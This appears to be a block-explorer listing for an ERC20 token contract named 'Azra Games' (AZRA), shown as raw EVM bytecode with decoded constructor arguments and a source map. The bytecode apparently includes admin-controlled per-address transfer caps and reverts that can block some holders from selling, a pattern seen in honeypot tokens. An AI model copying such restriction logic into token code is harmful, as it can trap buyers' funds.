925082820390508181111561333a57613339612af7565b5b92915050565b600061334b82612204565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361337d5761337c612af7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133c282612204565b91506133cd83612204565b9250826133dd576133dc613388565b5b828204905092915050565b60006133f382612204565b91506000820361340657613405612af7565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b60006134476020836120eb565b915061345282613411565b602082019050919050565b600060208201905081810360008301526134768161343a565b9050919050565b600060208201905061349260008301846129d4565b9291505056fea2646970667358221220ed4ec623dd8122aa8054b99d99a0308514c8138b7a93e5831067cbccbb1f417c64736f6c6343000811003300000000000000000000000000000000000000000000000000000000000000800000000000000000000000007afc17d25b6b55caa7904f369dfd91e7d456faa900000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000a417a72612047616d6573000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004415a524100000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101c45760003560e01c806370a08231116100f95780639db3324411610097578063a9059cbb11610071578063a9059cbb14610519578063d547741f14610549578063dd62ed3e14610565578063e57be8a314610595576101c4565b80639db33244146104b15780639e816a08146104cd578063a457c2d7146104e9576101c4565b806381d0d250116100d357806381d0d2501461042957806391d14854146104455780639516a1041461047557806395d89b4114610493576101c4565b806370a08231146103c157806372a35732146103f1578063731690f41461040d576101c4565b80632a0acc6a1161016657806333f3d6281161014057806333f3d6281461032957806336568abe1461035957806339509351146103755780636571b0ed146103a5576101c4565b80632a0acc6a146102d15780632f2ff15d146102ef578063313ce5671461030b576101c4565b806318160ddd116101a257806318160ddd1461023557806318ad82f51461025357806323b872dd14610271578063248a9ca3146102a1576101c4565b806306fdde03146101c9578063095ea7b3146101e7578063175c4ef814610217575b600080fd5b6101d16105c5565b6040516101de9190612170565b60405180910390f35b61020160048036038101906101fc919061223a565b610657565b60405161020e9190612295565b60405180910390f35b61021f610675565b60405161022c91906122c9565b60405180910390f35b61023d610699565b60405161024a91906122f3565b60405180910390f35b61025b6106a3565b60405161026891906122f3565b60405180910390f35b61028b6004803603810190610286919061230e565b6106a9565b6040516102989190612295565b60405180910390f35b6102bb60048036038101906102b6919061238d565b6107a1565b6040516102c891906122c9565b60405180910390f35b6102d96107c0565b6040516102e691906122c9565b60405180910390f35b610309600480360381019061030491906123ba565b6107c7565b005b6103136107eb565b6040516103209190612416565b60405180910390f35b610343600480360381019061033e919061223a565b6107f4565b6040516103509190612295565b60405180910390f35b610373600480360381019061036e91906123ba565b610892565b005b61038f600480360381019061038a919061223a565b61092b565b60405161039c9190612295565b60405180910390f35b6103bf60048036038101906103ba9190612431565b6109d7565b005b6103db60048036038101906103d69190612431565b610a48565b6040516103e891906122f3565b60405180910390f35b61040b60048036038101906104069190612593565b610a91565b005b610427600480360381019061042291906125ef565b610b88565b005b610443600480360381019061043e91906126f7565b610c0b565b005b61045f600480360381019061045a91906123ba565b610caa565b60405161046c9190612295565b60405180910390f35b61047d610d14565b60405161048a9190612811565b60405180910390f35b61049b610da2565b6040516104a89190612170565b60405180910390f35b6104cb60048036038101906104c69190612431565b610e34565b005b6104e760048036038101906104e29190612833565b610ea4565b005b61050360048036038101906104fe919061223a565b611018565b6040516105109190612295565b60405180910390f35b610533600480360381019061052e919061223a565b611103565b6040516105409190612295565b60405180910390f35b610563600480360381019061055e91906123ba565b611121565b005b61057f600480360381019061057a91906128a2565b611145565b60405161058c91906122f3565b60405180910390f35b6105af60048036038101906105aa91906123ba565b6111cc565b6040516105bc91906122f3565b60405180910390f35b6060600880546105d490612911565b80601f016020809104026020016040519081016040528092919081815260200182805461060090612911565b801561064d5780601f106106225761010080835404028352916020019161064d565b820191906000526020600020905b81548152906001019060200180831161063057829003601f168201915b5050505050905090565b600061066b610664611246565b848461124e565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b6000600754905090565b60035481565b60006106b6848484611417565b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610701611246565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610781576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610778906129b4565b60405180910390fd5b6107958561078d611246565b85840361124e565b60019150509392505050565b6000806000838152602001908152602001600020600101549050919050565b6000801b81565b6000801b6107dc816107d7611246565b6116c5565b6107e68383611762565b505050565b60006012905090565b60008060001b61080b81610806611246565b6116c5565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b81526004016108469291906129e3565b6020604051808303816000875af1158015610865573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108899190612a38565b91505092915050565b6000801b6108a7816108a2611246565b6116c5565b6108af611246565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461091c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091390612ad7565b60405180910390fd5b6109268383611842565b505050565b60006109cd610938611246565b848460066000610946611246565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c89190612b26565b61124e565b6001905092915050565b6000801b6109ec816109e7611246565b6116c5565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000801b610aa681610aa1611246565b6116c5565b600080610ab284611923565b80925081935050506000151581151503610b01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af890612bcc565b60405180910390fd5b6000821115610b5457610b4f7f545241444552000000000000000000000000000000000000000000000000000086610b4a670de0b6b3a764000086611a3e90919063ffffffff16565b611a54565b610b81565b610b807f5452414445520000000000000000000000000000000000000000000000000000866000611a54565b5b5050505050565b6000801b610b9d81610b98611246565b6116c5565b7f54524144455200000000000000000000000000000000000000000000000000008314610bff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf690612bcc565b60405180910390fd5b81600381905550505050565b6000801b610c2081610c1b611246565b6116c5565b60005b83518160ff161015610ca457610c917f5452414445520000000000000000000000000000000000000000000000000000858360ff1681518110610c6957610c68612bec565b5b6020026020010151610c8c670de0b6b3a764000087611a3e90919063ffffffff16565b611a54565b8080610c9c90612c1b565b915050610c23565b50505050565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60606004805480602002602001604051908101604052809291908181526020018280548015610d9857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610d4e575b5050505050905090565b606060098054610db190612911565b80601f0160208091040260200160405190810160405280929190818152602001828054610ddd90612911565b8015610e2a5780601f10610dff57610100808354040283529160200191610e2a565b820191906000526020600020905b815481529060010190602001808311610e0d57829003601f168201915b5050505050905090565b6000801b610e4981610e44611246565b6116c5565b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000801b610eb981610eb4611246565b6116c5565b600084905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2f9190612c70565b60ff16905060005b85518160ff16101561100f57600082600a610f529190612dd0565b86610f5d9190612e1b565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff1681518110610f9157610f90612bec565b5b6020026020010151836040518363ffffffff1660e01b8152600401610fb79291906129e3565b6020604051808303816000875af1158015610fd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffa9190612a38565b5050808061100790612c1b565b915050610f37565b50505050505050565b60008060066000611027611246565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db90612ecf565b60405180910390fd5b6110f86110ef611246565b8585840361124e565b600191505092915050565b6000611117611110611246565b8484611417565b6001905092915050565b6000801b61113681611131611246565b6116c5565b6111408383611842565b505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061123e670de0b6b3a764000060008086815260200190815260200160002060020160000160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab390919063ffffffff16565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b490612f61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361132c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132390612ff3565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161140a91906122f3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611486576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147d90613085565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ec90613117565b60405180910390fd5b6115217f5452414445520000000000000000000000000000000000000000000000000000848484611ac9565b61152c838383611bb3565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156115b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115aa906131a9565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116489190612b26565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ac91906122f3565b60405180910390a36116bf848484611bb8565b50505050565b6116cf8282610caa565b61175e576116f48173ffffffffffffffffffffffffffffffffffffffff166014611bbd565b6117028360001c6020611bbd565b60405160200161171392919061329d565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117559190612170565b60405180910390fd5b5050565b61176c8282610caa565b61183e57600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506117e3611246565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61184c8282610caa565b1561191f57600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506118c4611246565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b60008060005b8351811015611a30576000603085838151811061194957611948612bec565b5b602001015160f81c60f81b60f81c61196191906132d7565b60ff16108061199f57506009603085838151811061198257611981612bec565b5b602001015160f81c60f81b60f81c61199a91906132d7565b60ff16115b156119b1576000809250925050611a39565b60018185516119c0919061330c565b6119ca919061330c565b600a6119d69190612dd0565b60308583815181106119eb576119ea612bec565b5b602001015160f81c60f81b60f81c611a0391906132d7565b60ff16611a109190612e1b565b83611a1b9190612b26565b92508080611a2890613340565b915050611929565b50816001915091505b915091565b60008183611a4c9190612e1b565b905092915050565b8060008085815260200190815260200160002060020160000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60008183611ac191906133b7565b905092915050565b60006003541115611bad57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b3a57611b3584848484611df9565b611bac565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b9f57611b9a848483611e72565b611bab565b611baa848483611e72565b5b5b5b50505050565b505050565b505050565b606060006002836002611bd09190612e1b565b611bda9190612b26565b67ffffffffffffffff811115611bf357611bf2612468565b5b6040519080825280601f01601f191660200182016040528015611c255781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110611c5d57611c5c612bec565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611cc157611cc0612bec565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060006001846002611d019190612e1b565b611d0b9190612b26565b90505b6001811115611dab577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611d4d57611d4c612bec565b5b1a60f81b828281518110611d6457611d63612bec565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c945080611da4906133e8565b9050611d0e565b5060008414611def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de69061345d565b60405180910390fd5b8091505092915050565b6032600354148015611e385750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e4857611e478282611f4b565b5b611e528483610caa565b611e6c57611e608483611762565b611e6b848383611a54565b5b50505050565b611e7f6000801b83610caa565b611f4657606460035403611eca57816040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611ec1919061347d565b60405180910390fd5b6000611ed68484612047565b9050818110611f07576000611ef483836120a790919063ffffffff16565b9050611f01858583611a54565b50611f44565b826040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611f3b919061347d565b60405180910390fd5b505b505050565b611f54826120bd565b1561204357600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561200557611fd57f545241444552000000000000000000000000000000000000000000000000000083611762565b6120007f54524144455200000000000000000000000000000000000000000000000000008383611a54565b612042565b816040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401612039919061347d565b60405180910390fd5b5b5050565b600080600084815260200190815260200160002060020160000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081836120b5919061330c565b905092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561211a5780820151818401526020810190506120ff565b60008484015250505050565b6000601f19601f8301169050919050565b6000612142826120e0565b61214c81856120eb565b935061215c8185602086016120fc565b61216581612126565b840191505092915050565b6000602082019050818103600083015261218a8184612137565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121d1826121a6565b9050919050565b6121e1816121c6565b81146121ec57600080fd5b50565b6000813590506121fe816121d8565b92915050565b6000819050919050565b61221781612204565b811461222257600080fd5b50565b6000813590506122348161220e565b92915050565b600080604083850312156122515761225061219c565b5b600061225f858286016121ef565b925050602061227085828601612225565b9150509250929050565b60008115159050919050565b61228f8161227a565b82525050565b60006020820190506122aa6000830184612286565b92915050565b6000819050919050565b6122c3816122b0565b82525050565b60006020820190506122de60008301846122ba565b92915050565b6122ed81612204565b82525050565b600060208201905061230860008301846122e4565b92915050565b6000806000606084860312156123275761232661219c565b5b6000612335868287016121ef565b9350506020612346868287016121ef565b925050604061235786828701612225565b9150509250925092565b61236a816122b0565b811461237557600080fd5b50565b60008135905061238781612361565b92915050565b6000602082840312156123a3576123a261219c565b5b60006123b184828501612378565b91505092915050565b600080604083850312156123d1576123d061219c565b5b60006123df85828601612378565b92505060206123f0858286016121ef565b9150509250929050565b600060ff82169050919050565b612410816123fa565b82525050565b600060208201905061242b6000830184612407565b92915050565b6000602082840312156124475761244661219c565b5b6000612455848285016121ef565b91505092915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6124a082612126565b810181811067ffffffffffffffff821117156124bf576124be612468565b5b80604052505050565b60006124d2612192565b90506124de8282612497565b919050565b600067ffffffffffffffff8211156124fe576124fd612468565b5b61250782612126565b9050602081019050919050565b82818337600083830152505050565b6000612536612531846124e3565b6124c8565b90508281526020810184848401111561255257612551612463565b5b61255d848285612514565b509392505050565b600082601f83011261257a5761257961245e565b5b813561258a848260208601612523565b91505092915050565b600080604083850312156125aa576125a961219c565b5b60006125b8858286016121ef565b925050602083013567ffffffffffffffff8111156125d9576125d86121a1565b5b6125e585828601612565565b9150509250929050565b600080604083850312156126065761260561219c565b5b600061261485828601612378565b925050602061262585828601612225565b9150509250929050565b600067ffffffffffffffff82111561264a57612649612468565b5b602082029050602081019050919050565b600080fd5b600061267361266e8461262f565b6124c8565b905080838252602082019050602084028301858111156126965761269561265b565b5b835b818110156126bf57806126ab88826121ef565b845260208401935050602081019050612698565b5050509392505050565b600082601f8301126126de576126dd61245e565b5b81356126ee848260208601612660565b91505092915050565b6000806040838503121561270e5761270d61219c565b5b600083013567ffffffffffffffff81111561272c5761272b6121a1565b5b612738858286016126c9565b925050602061274985828601612225565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612788816121c6565b82525050565b600061279a838361277f565b60208301905092915050565b6000602082019050919050565b60006127be82612753565b6127c8818561275e565b93506127d38361276f565b8060005b838110156128045781516127eb888261278e565b97506127f6836127a6565b9250506001810190506127d7565b5085935050505092915050565b6000602082019050818103600083015261282b81846127b3565b905092915050565b60008060006060848603121561284c5761284b61219c565b5b600061285a868287016121ef565b935050602084013567ffffffffffffffff81111561287b5761287a6121a1565b5b612887868287016126c9565b925050604061289886828701612225565b9150509250925092565b600080604083850312156128b9576128b861219c565b5b60006128c7858286016121ef565b92505060206128d8858286016121ef565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061292957607f821691505b60208210810361293c5761293b6128e2565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b600061299e6025836120eb565b91506129a982612942565b604082019050919050565b600060208201905081810360008301526129cd81612991565b9050919050565b6129dd816121c6565b82525050565b60006040820190506129f860008301856129d4565b612a0560208301846122e4565b9392505050565b612a158161227a565b8114612a2057600080fd5b50565b600081519050612a3281612a0c565b92915050565b600060208284031215612a4e57612a4d61219c565b5b6000612a5c84828501612a23565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b6000612ac1602f836120eb565b9150612acc82612a65565b604082019050919050565b60006020820190508181036000830152612af081612ab4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612b3182612204565b9150612b3c83612204565b9250828201905080821115612b5457612b53612af7565b5b92915050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d60008201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b6000612bb66023836120eb565b9150612bc182612b5a565b604082019050919050565b60006020820190508181036000830152612be581612ba9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612c26826123fa565b915060ff8203612c3957612c38612af7565b5b600182019050919050565b612c4d816123fa565b8114612c5857600080fd5b50565b600081519050612c6a81612c44565b92915050565b600060208284031215612c8657612c8561219c565b5b6000612c9484828501612c5b565b91505092915050565b60008160011c9050919050565b6000808291508390505b6001851115612cf457808604811115612cd057612ccf612af7565b5b6001851615612cdf5780820291505b8081029050612ced85612c9d565b9450612cb4565b94509492505050565b600082612d0d5760019050612dc9565b81612d1b5760009050612dc9565b8160018114612d315760028114612d3b57612d6a565b6001915050612dc9565b60ff841115612d4d57612d4c612af7565b5b8360020a915084821115612d6457612d63612af7565b5b50612dc9565b5060208310610133831016604e8410600b8410161715612d9f5782820a905083811115612d9a57612d99612af7565b5b612dc9565b612dac8484846001612caa565b92509050818404811115612dc357612dc2612af7565b5b81810290505b9392505050565b6000612ddb82612204565b9150612de683612204565b9250612e137fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612cfd565b905092915050565b6000612e2682612204565b9150612e3183612204565b9250828202612e3f81612204565b91508282048414831517612e5657612e55612af7565b5b5092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612eb96025836120eb565b9150612ec482612e5d565b604082019050919050565b60006020820190508181036000830152612ee881612eac565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f4b6024836120eb565b9150612f5682612eef565b604082019050919050565b60006020820190508181036000830152612f7a81612f3e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612fdd6022836120eb565b9150612fe882612f81565b604082019050919050565b6000602082019050818103600083015261300c81612fd0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061306f6025836120eb565b915061307a82613013565b604082019050919050565b6000602082019050818103600083015261309e81613062565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131016023836120eb565b915061310c826130a5565b604082019050919050565b60006020820190508181036000830152613130816130f4565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006131936023836120eb565b915061319e82613137565b604082019050919050565b600060208201905081810360008301526131c281613186565b9050919050565b600081905092915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b600061320a6017836131c9565b9150613215826131d4565b601782019050919050565b600061322b826120e0565b61323581856131c9565b93506132458185602086016120fc565b80840191505092915050565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b60006132876011836131c9565b915061329282613251565b601182019050919050565b60006132a8826131fd565b91506132b48285613220565b91506132bf8261327a565b91506132cb8284613220565b91508190509392505050565b60006132e2826123fa565b91506132ed836123fa565b9250828203905060ff81111561330657613305612af7565b5b92915050565b600061331782612204565b915061332283612204565b925082820390508181111561333a57613339612af7565b5b92915050565b600061334b82612204565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361337d5761337c612af7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133c282612204565b91506133cd83612204565b9250826133dd576133dc613388565b5b828204905092915050565b60006133f382612204565b91506000820361340657613405612af7565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b60006134476020836120eb565b915061345282613411565b602082019050919050565b600060208201905081810360008301526134768161343a565b9050919050565b600060208201905061349260008301846129d4565b9291505056fea2646970667358221220ed4ec623dd8122aa8054b99d99a0308514c8138b7a93e5831067cbccbb1f417c64736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000800000000000000000000000007afc17d25b6b55caa7904f369dfd91e7d456faa900000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000a417a72612047616d6573000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004415a524100000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Azra Games
Arg [1] : _tokenOwner (address): 0x7afc17D25B6B55CAa7904f369Dfd91e7d456Faa9
Arg [2] : _symbol (string): AZRA
Arg [3] : _totalSupply (uint256): 100000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 0000000000000000000000007afc17d25b6b55caa7904f369dfd91e7d456faa9
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [3] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [5] : 417a72612047616d657300000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 415a524100000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

28440:1333:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23203:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24171:188;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15945:50;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23524:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16036:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24367:514;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19889:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15901:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20020:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23423:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29139:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20306:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;24889:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19400:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23640:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16851:473;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17595:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17332:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16199:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19056:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23311:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19291:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29356:412;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;25187:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23785:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20162:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23987:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19695:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23203:100;23257:13;23290:5;23283:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23203:100;:::o;24171:188::-;24276:4;24293:36;24302:12;:10;:12::i;:::-;24316:7;24325:3;24293:8;:36::i;:::-;24347:4;24340:11;;24171:188;;;;:::o;15945:50::-;15978:17;15945:50;:::o;23524:108::-;23585:7;23612:12;;23605:19;;23524:108;:::o;16036:21::-;;;;:::o;24367:514::-;24504:4;24521:33;24531:6;24539:9;24550:3;24521:9;:33::i;:::-;24567:24;24594:11;:19;24606:6;24594:19;;;;;;;;;;;;;;;:33;24614:12;:10;:12::i;:::-;24594:33;;;;;;;;;;;